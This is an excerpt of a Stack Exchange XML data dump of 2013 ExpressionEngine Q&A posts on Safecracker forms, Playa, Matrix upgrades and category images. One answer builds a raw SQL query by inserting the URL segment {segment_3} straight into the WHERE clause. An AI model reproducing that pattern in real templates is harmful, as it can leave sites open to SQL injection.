limit=&quot;1&quot;}&#xA;&#xA;    {categories}&#xA;&#xA;        {if category_id == 1 &amp;amp;&amp;amp; (member_group == '6' || member_group == '8')}&#xA;            {!-- &#xA;                If the category &quot;Editor Category&quot; (1) is selected, and the logged in user is in my_standard_admin (6) or my_editors (8) member group. &#xA;                --}&#xA;&#xA;            {exp:safecracker &#xA;                channel=&quot;my_member_channel&quot; &#xA;                entry_id=&quot;{segment_3}&quot; &#xA;            }&#xA;&#xA;                Various fields in the channel to be edited here,&#xA;                including a Matrix field with a Playa column:&#xA;                {field:my_matrix_field}&#xA;&#xA;                submit button&#xA;            {/exp:safecracker}          &#xA;&#xA;        {/if}&#xA;&#xA;    {/categories}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tested this lightly, but it seems to work fine. So if I continue down this route I'll create &quot;pseudo member categories&quot; to be used in various channels and then conditionally check before showing the Safecracker form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Am I missing a much more stable approach?&lt;/strong&gt; I would prefer doing this all using the CP, but can't seem to work out a way to dole out the permissions in a custom enough way, therefore Safecracker. &lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-04-29T10:48:34.117" Title="Limit Safecracker access to specific entries, using member groups and categories" Tags="|safecracker|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9824" PostTypeId="1" CreationDate="2013-04-29T00:00:51.070" Score="1" ViewCount="154" Body="&lt;p&gt;I currently have a safecracker login form which enables specific users to login and download files. [click here][1] I have noticed when a user logs in they are redirected to the following link [click here][2], however the link loads in the same window. Is there a way to do this where once the user has logged in an a new window/tab is created with the download credentials? Below is a snippet of my &lt;code&gt;return=&lt;/code&gt; code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member:login_form return=&quot;press/promo/{segment_3}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="459" LastEditorUserId="459" LastEditDate="2013-04-30T10:52:14.917" LastActivityDate="2013-05-30T11:32:03.380" Title="how to make safecracker login form open in a new window/tab" Tags="|templates|safecracker|members|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9827" PostTypeId="2" ParentId="9822" CreationDate="2013-04-29T01:26:06.183" Score="1" Body="&lt;p&gt;Assuming both the &lt;strong&gt;Standard Pages&lt;/strong&gt; and &lt;strong&gt;Events&lt;/strong&gt; channels have a Playa field with entries from the &lt;strong&gt;Event Categories&lt;/strong&gt; channel, the following should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot;}&#xA;  {exp:playa:children var_prefix=&quot;cat&quot;}&#xA;    {cat:exp:playa:parents field=&quot;event_category&quot; var_prefix=&quot;event&quot;}&#xA;      {if '{event:count}' == 1}&#xA;        &amp;lt;h3&amp;gt;{cat:title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;      {/if}&#xA;          &amp;lt;li&amp;gt;{event:title}&amp;lt;/li&amp;gt;&#xA;      {if '{event:count}' == '{event:total_results}'}&#xA;        &amp;lt;/ul&amp;gt;&#xA;      {/if}&#xA;    {/cat:exp:playa:parents}&#xA;  {/exp:playa:children}&#xA;{/exp:channel:entries}    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's confusing for me too, but the &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/terminology.html&quot; rel=&quot;nofollow&quot;&gt;Playa terminology page&lt;/a&gt; helps me understand what's what.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Standard Page = Parent &lt;em&gt;(The entry that has the Playa field.)&lt;/em&gt;&lt;br&gt;&#xA;Event Category = Child &lt;em&gt;(The entry that you selected in the Playa field.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Event = Parent &lt;em&gt;(The entry that has the Playa field.)&lt;/em&gt;&lt;br&gt;&#xA;Event Category = Child &lt;em&gt;(The entry that you selected in the Playa field.)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-04-29T01:31:12.530" LastActivityDate="2013-04-29T01:31:12.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9828" PostTypeId="2" ParentId="9790" CreationDate="2013-04-29T01:26:43.590" Score="0" Body="&lt;p&gt;The redirects were killing the session. I had to try a different method of embedding a login form in the template I was in instead of redirecting &lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2013-04-29T01:26:43.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9829" PostTypeId="1" CreationDate="2013-04-29T02:55:45.513" Score="1" ViewCount="160" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Number: 1054&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unknown column 'is_draft' in 'where clause'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SELECT row_id, col_id_9 FROM exp_matrix_data WHERE field_id = 20 AND&#xA;  entry_id = 54 AND is_draft = 0 ORDER BY row_order ASC LIMIT 100&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Filename: third_party/matrix/ft.matrix.php&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Line Number: 2808&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the error I am receiving. I made a mistake when moving over fields where I was using the nGen File Field, so I don't know if that is adding to the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to fix this?&lt;/p&gt;&#xA;" OwnerUserId="1398" LastActivityDate="2013-05-29T04:30:34.743" Title="Upgrade from EE1 to EE2 is causing some issues with Matrix" Tags="|matrix|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9830" PostTypeId="1" CreationDate="2013-04-29T03:07:25.140" Score="1" ViewCount="118" Body="&lt;p&gt;Using Assets 2.1.1 with a single S3 source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All images are displaying correctly on the front-end, but no thumbnails are viewable in the Assets file sheet. All of the images are indexed, and the default thumbnail placeholder is sized to the same dimensions as the actual image, but no visible thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think this is an Assets bug, as it was working previously. In order to track it down thought, I'm wondering the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Are Assets thumbnails for an S3 source generated and stored locally or the S3 source?&lt;/li&gt;&#xA;&lt;li&gt;I'm thinking this is permissions related, but not sure if it's local or on the S3 source.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any info or advice here would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1033" LastActivityDate="2013-04-29T03:07:25.140" Title="Assets 2.1.1 - No S3 Thumbnails!" Tags="|assets|s3|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9831" PostTypeId="2" ParentId="9829" CreationDate="2013-04-29T03:22:12.793" Score="0" Body="&lt;p&gt;It might be related but had the exact issue yesterday going from 2.3 to 2.5. &#xA;I updated the modules first and the error was because the latest matrix requires 2.4 minimum, updated EE to 2.5.5 and problem went away.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-04-29T03:22:12.793" CommentCount="0" CommunityOwnedDate="2013-04-29T03:22:12.793" ContentLicense="CC BY-SA 3.0" />
  <row Id="9832" PostTypeId="1" CreationDate="2013-04-29T03:28:47.907" Score="0" ViewCount="42" Body="&lt;p&gt;I have a script installed in the root domain where EE is also installed, but when I try to access it this EE option is triggered:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;404 Page: Determines which template should be displayed when someone tries to access an invalid URL. Note: If you choose 'None', your default channel will be shown when an invalid URL is requested.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: is there a way to install scripts next to EE and have them work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I have strict URLs disabled&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script is an affiliate link redirect and management script, I call at the URL mydomain.com/scriptfoldername/ or mydomain.com/scriptfoldername/file.php, both give me the 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The contents of my .htaccess: &lt;a href=&quot;http://codetidy.com/5412/&quot; rel=&quot;nofollow&quot;&gt;http://codetidy.com/5412/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="569" LastEditorUserId="569" LastEditDate="2013-04-29T08:16:07.780" LastActivityDate="2013-04-29T08:16:07.780" Title="404 When Trying to Access Script that's Installed Next to EE" Tags="|404|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9833" PostTypeId="2" ParentId="9829" CreationDate="2013-04-29T03:38:25.423" Score="1" Body="&lt;p&gt;Instructions for making that error go away are on the old P&amp;amp;T GetSatisfaction site: &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/matrix_2_5_upgrade_error&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/pixelandtonic/topics/matrix_2_5_upgrade_error&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-04-29T03:38:25.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9834" PostTypeId="2" ParentId="9816" CreationDate="2013-04-29T05:09:26.927" Score="1" Body="&lt;p&gt;If you look at some forms modules (like FreeForm, Safecraker), you can have &quot;entry_id&quot; within the &quot;return&quot; parameter value and this entry id will be a segment at the returm page. Now you can use SQL via query module to get the posted / saved values for the further calculations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's take an example with FreeForm:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the FreeForm form tag you can have return parameter as &lt;code&gt;return=&quot;template_group/template_name/%%entry_id%%&quot;&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you can fetch the saved values with query module in the template &quot;template_group/template_name&quot; like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT form_field_1 AS location, form_field_2 AS house_price, form_field_3 AS fee FROM exp_freeform_form_entries_1 WHERE entry_id='{segment_3}'&quot;}&#xA;&#xA;Calculation : {house_price} * {house_price} * {fee}&#xA;/***&#xA;There are some good add-on for mathmatical calculation. Although, you can do mathmatical calculation within SQL.&#xA;***/&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: You need to have form_field_x associated with correct field id. Above example SQL will work with FreeForm v4.0+. For lowser version you can write SQL like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT location, house_price, fee FROM exp_freeform_entries WHERE entry_id='{segment_3}'&quot;}&#xA;Calculation : {house_price} * {house_price} * {fee}&#xA;/***&#xA;There are some good add-on for mathmatical calculation. Although, you can do mathmatical calculation within SQL.&#xA;***/&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the same way, if you are using Safecraker, you can do the same without SQL query and just by writing channel entry tag, passing the parameter entry_id=&quot;{segment_3}&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope, it would help you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-29T05:09:26.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9835" PostTypeId="1" CreationDate="2013-04-29T06:38:16.440" Score="1" ViewCount="150" Body="&lt;p&gt;I'm writing an accessory to replace the category image field with a file browser that enables the user to navigate through folders to select their image (because the native category image field is restricted to a single upload directory).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is nearly OK on the front end except that I'm getting&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Severity: Warning&lt;br&gt;&#xA;  Message: Illegal string offset 'value'&lt;br&gt;&#xA;  Filename: cp/admin_content.php&lt;br&gt;&#xA;  Line Number: 2223&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;when submitting the form and looking in the database, the value is &lt;em&gt;d&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using the native category image field, after choosing an existing image from the file manager, the updated HTML looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;cat_image_hidden&quot; value=&quot;file_name.jpg&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;cat_image_hidden_dir&quot; value=&quot;1&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and that's what the HTML looks like too after I update using my method so I don't understand what's going on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code for my accessory looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;cp-&amp;gt;add_to_head('&#xA;    &amp;lt;script src=&quot;/themes/third_party/category_image_file_browser/js/jquery.easing.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script src=&quot;/themes/third_party/category_image_file_browser/js/jqueryFileTree.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/themes/third_party/category_image_file_browser/css/jqueryFileTree.css&quot;&amp;gt;&#xA;&#xA;    &amp;lt;script&amp;gt;&#xA;        $(document).ready( function() {&#xA;&#xA;            function copy_file_path(file) {&#xA;                var newpath = file.replace(&quot;../images/&quot;, &quot;&quot;);&#xA;                $(&quot;[name=cat_image_hidden]&quot;).val(newpath);&#xA;            }&#xA;&#xA;            $(&quot;[name=cat_image_hidden_dir]&quot;).val(&quot;1&quot;);&#xA;            $(&quot;.category_field .no_file select,.category_field .modifiers.js_show p,.category_field .file_set.js_hide .filename,.category_field .file_set.js_hide .sub_filename&quot;).hide();&#xA;            $(&quot;.category_field .file_set.js_hide&quot;).show();&#xA;            $(&quot;.category_field .modifiers.js_show&quot;).fileTree({ root: &quot;../images/&quot;, script: &quot;/themes/third_party/category_image_file_browser/connectors/jqueryFileTree.php&quot; }, function(file) {&#xA;                copy_file_path(file);&#xA;            });&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've looked through the HTML and don't see any other form inputs I should be updating, but I've obviously missed something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what that is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, I'm using &lt;a href=&quot;http://www.abeautifulsite.net/blog/2008/03/jquery-file-tree/&quot; rel=&quot;nofollow&quot;&gt;http://www.abeautifulsite.net/blog/2008/03/jquery-file-tree/&lt;/a&gt; for the file browser. This part, selecting the value, all works fine; it's only saving to EE that I'm having trouble with.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-05-29T10:30:34.697" Title="Replacing category image field with a file browser" Tags="|categories|category-image-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9836" PostTypeId="2" ParentId="9652" CreationDate="2013-04-29T07:07:28.197" Score="1" Body="&lt;p&gt;I'm currently in a situation similar to yours. Most of my needs will be accomplished with just CSS media queries, but I found these articles of interest, while I was researching:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.netmagazine.com/tutorials/going-mobile-expressionengine&quot; rel=&quot;nofollow&quot;&gt;http://www.netmagazine.com/tutorials/going-mobile-expressionengine&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.johnfaulds.com.au/journal/responsive-layouts-with-expressionengine/&quot; rel=&quot;nofollow&quot;&gt;http://www.johnfaulds.com.au/journal/responsive-layouts-with-expressionengine/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2013-04-29T07:07:28.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9837" PostTypeId="1" CreationDate="2013-04-29T07:36:10.367" Score="2" ViewCount="562" Body="&lt;p&gt;So on the Happy Monday website (&lt;a href=&quot;http://www.happymondaypodcast.com&quot; rel=&quot;nofollow&quot;&gt;http://www.happymondaypodcast.com&lt;/a&gt;) we have different sponsors for each show, these sponsors are set up as categories and assigned to the &quot;Episodes&quot; channel. I want to be able to select the sponsor for each show and have the category image (mailchimp, typekit etc.) show up for each episode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I'm having is that it's showing all sponsors, regardless of what has been selected in the individual episode posts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I'm using is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries channel=&quot;podcast_episodes&quot; category=&quot;1&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&#xA;&amp;lt;div class=&quot;hero_show&quot; style=&quot;background: url('{guest_picture}') no-repeat right top #ffffff;&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;show_info&quot;&amp;gt;&#xA;&#xA;                &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{url_title_path='episodes'}&quot;&amp;gt;{episode_number} {title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                &amp;lt;span class=&quot;date&quot;&amp;gt;{entry_date format=&quot;%l %d%S %F %Y&quot;}&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;!--&amp;lt;p&amp;gt;{podcast_description}&amp;lt;/p&amp;gt;--&amp;gt;&#xA;&#xA;                {podcast_player_link}&#xA;&#xA;    &amp;lt;div class=&quot;sponsors_small&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;Made possible by:&amp;lt;/p&amp;gt;&#xA;        {exp:channel:categories channel=&quot;podcast_episodes&quot; category_group=&quot;2&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}&#xA;&#xA;               &amp;lt;img class=&quot;category_image&quot; src=&quot;{category_image}&quot; alt=&quot;{category_name}&quot; title=&quot;{category_name}&quot;  /&amp;gt;&#xA;            {/exp:channel:categories}&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;  &#xA;&#xA;{/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be so much appreciated. Completely stuck. &lt;/p&gt;&#xA;" OwnerUserId="1399" LastActivityDate="2013-04-29T09:42:30.650" Title="Show the category image belonging to specific post" Tags="|categories|category-image-field|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9838" PostTypeId="2" ParentId="9835" CreationDate="2013-04-29T08:10:45.933" Score="1" Body="&lt;p&gt;This error message appears to be something added with PHP 5.4, to indicate when array values aren't filled in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be that you already understand that, from what you've said, but if not, looking through comments and answers here may illuminate and offer tips:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/9869150/illegal-string-offset-warning-php&quot;&gt;https://stackoverflow.com/questions/9869150/illegal-string-offset-warning-php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, how to find out what's missing? The best way to do it may be on your browser, rather than in PHP, especially as you've manipulated with JQuery. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Firebug on Firefox, and I can see what fields there are by inspecting the appropriate area of the screen. Then I can see the value of each  by clicking on that tag and using the DOM listing on the right to discover the value in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that should show you what's empty in what becomes the returned fields array in EE, and let you solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be sure to write your answer and accept when you do find it, so that this question clears on EESE. As I think it will be you who actually locates the fault.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: whoops, I intended this to be a comment, rather than answer. But see if it gets you there anyway. CNS&lt;/p&gt;&#xA;" OwnerUserId="103" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-04-29T10:07:15.840" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9839" PostTypeId="2" ParentId="9837" CreationDate="2013-04-29T08:24:39.270" Score="0" Body="&lt;p&gt;Have you tried the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#id145&quot; rel=&quot;nofollow&quot;&gt;categories tag pair parameters&lt;/a&gt; something like this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{categories show_group=&quot;1&quot; limit=&quot;1&quot;}{category_image}{/categories}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="48" LastEditDate="2013-04-29T08:37:27.753" LastActivityDate="2013-04-29T08:37:27.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9840" PostTypeId="2" ParentId="9837" CreationDate="2013-04-29T08:32:13.173" Score="3" Body="&lt;p&gt;{exp:channel:categories} is used to output a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html&quot; rel=&quot;nofollow&quot;&gt;list of categories&lt;/a&gt; belonging to a category group or assigned to a channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want here is a list of categories assigned to an entry so you should use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#categories&quot; rel=&quot;nofollow&quot;&gt;category variable pair&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories show_group=&quot;2&quot;}{category_image}{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should get you what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alternative setup&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always with EE, there are multiple ways to skin a cat. Instead of using categories, you could also consider using a sponsors channel and then use a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;relationship&lt;/a&gt; between your episodes and the sponsors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of that approach is that you get to use all the custom fields you want to define your sponsors data structure (multiple thumbnails, name, type of sponsors, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Happy Monday makes my Mondays brighter, keep it up.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-04-29T08:32:13.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9841" PostTypeId="2" ParentId="9652" CreationDate="2013-04-29T08:42:19.957" Score="2" Body="&lt;p&gt;Setting aside the debate of responsive vs dedicated mobile version (agreeing with Ian here), there was &lt;a href=&quot;http://erskinedesign.com/blog/create-an-alternative-version-of-your-expressionengine-website/&quot; rel=&quot;nofollow&quot;&gt;a good article back in the days on Erskine Design&lt;/a&gt; about building a separate version of your site without using MSM. That approach uses global variables to serve different templates to mobile users &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could combine that approach with the &lt;a href=&quot;https://github.com/tyssen/RESS-ee&quot; rel=&quot;nofollow&quot;&gt;RESS-ee plugin&lt;/a&gt; by Tyssen.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-04-29T09:00:58.163" LastActivityDate="2013-04-29T09:00:58.163" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9842" PostTypeId="1" CreationDate="2013-04-29T08:58:50.260" Score="1" ViewCount="81" Body="&lt;p&gt;I'm having a serious, but intermittent, problem with exp-resso whereby my client is receiving payment for orders made on the site but the orders are not appearing in the 'Orders' section of the store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example this weekend they received payment for orders numbered 171, 172 and 173 but only 172 appears in the order list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously this is causing them a major problem as they have no idea what people have ordered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I look to investigate the cause of this? It happens reasonably frequently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Martyn&lt;/p&gt;&#xA;" OwnerUserId="1039" LastEditorUserId="159" LastEditDate="2013-04-30T08:19:55.630" LastActivityDate="2013-04-30T08:19:55.630" Title="Expresso Store orders paid for but not appearing in order list" Tags="|expresso-store|" AnswerCount="0" CommentCount="2" ClosedDate="2013-11-01T11:10:09.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="9843" PostTypeId="1" CreationDate="2013-04-29T09:13:48.093" Score="4" ViewCount="195" Body="&lt;p&gt;I wish to show future 'events' on a page.  I have a channel, that contains a playa field that I use to associate the desired events. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot seem to get it to show on the site.  I'm convinced it must be something simple that I am overlooking, but I can't figure out why it won't work.  Anyone have an idea what I'm doing wrong? :(&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;isp&quot; limit=&quot;1&quot; show_future_entries=&quot;yes&quot; dynamic=&quot;no&quot;}&#xA;    {events show_future_entries=&quot;yes&quot;}&#xA;        {title}&#xA;    {/events}&#xA;{/exp:channel:entries} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1400" LastEditorUserId="150" LastEditDate="2013-04-29T12:29:51.643" LastActivityDate="2013-10-26T03:00:32.010" Title="Playa: Future Entries Not Showing" Tags="|playa|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9844" PostTypeId="2" ParentId="7460" CreationDate="2013-04-29T09:41:40.373" Score="2" Body="&lt;p&gt;I know it's a late reply, but does this do what you're looking for? &lt;a href=&quot;http://www.membrr.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.membrr.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1308" LastActivityDate="2013-04-29T09:41:40.373" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9845" PostTypeId="2" ParentId="9837" CreationDate="2013-04-29T09:42:30.650" Score="2" Body="&lt;p&gt;Just a few small tweaks needed. Firstly you're including &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt; in your Channel Entries tag. Normally EE will grab the URL title to determine which entry to display but by including that tag you're telling it not to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With regards to the categories you can remove the &lt;code&gt;{exp:channel:categories}&lt;/code&gt; tag pair and replace with the {categories} tag pair:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories show_group=&quot;2&quot;}&#xA;    &amp;lt;img class=&quot;category_image&quot; src=&quot;{category_image}&quot; alt=&quot;{category_name}&quot; title=&quot;{category_name}&quot;  /&amp;gt;&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now EE is dynamically grabbing the entry and then looping through that individual entry's categories to show the desired information for each one. In full it should look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;podcast_episodes&quot; limit=&quot;1&quot;}&#xA;    &amp;lt;div class=&quot;hero_show&quot; style=&quot;background: url('{guest_picture}') no-repeat right top #ffffff;&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;show_info&quot;&amp;gt;&#xA;            &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{url_title_path='episodes'}&quot;&amp;gt;{episode_number} {title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;            &amp;lt;span class=&quot;date&quot;&amp;gt;{entry_date format=&quot;%l %d%S %F %Y&quot;}&amp;lt;/span&amp;gt;&#xA;            &amp;lt;!--&amp;lt;p&amp;gt;{podcast_description}&amp;lt;/p&amp;gt;--&amp;gt;&#xA;&#xA;            {podcast_player_link}&#xA;&#xA;            &amp;lt;div class=&quot;sponsors_small&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;Made possible by:&amp;lt;/p&amp;gt;&#xA;&#xA;                {categories show_group=&quot;2&quot;}&#xA;                    &amp;lt;img class=&quot;category_image&quot; src=&quot;{category_image}&quot; alt=&quot;{category_name}&quot; title=&quot;{category_name}&quot;  /&amp;gt;&#xA;                {/categories}&#xA;            &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;  &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-29T09:42:30.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
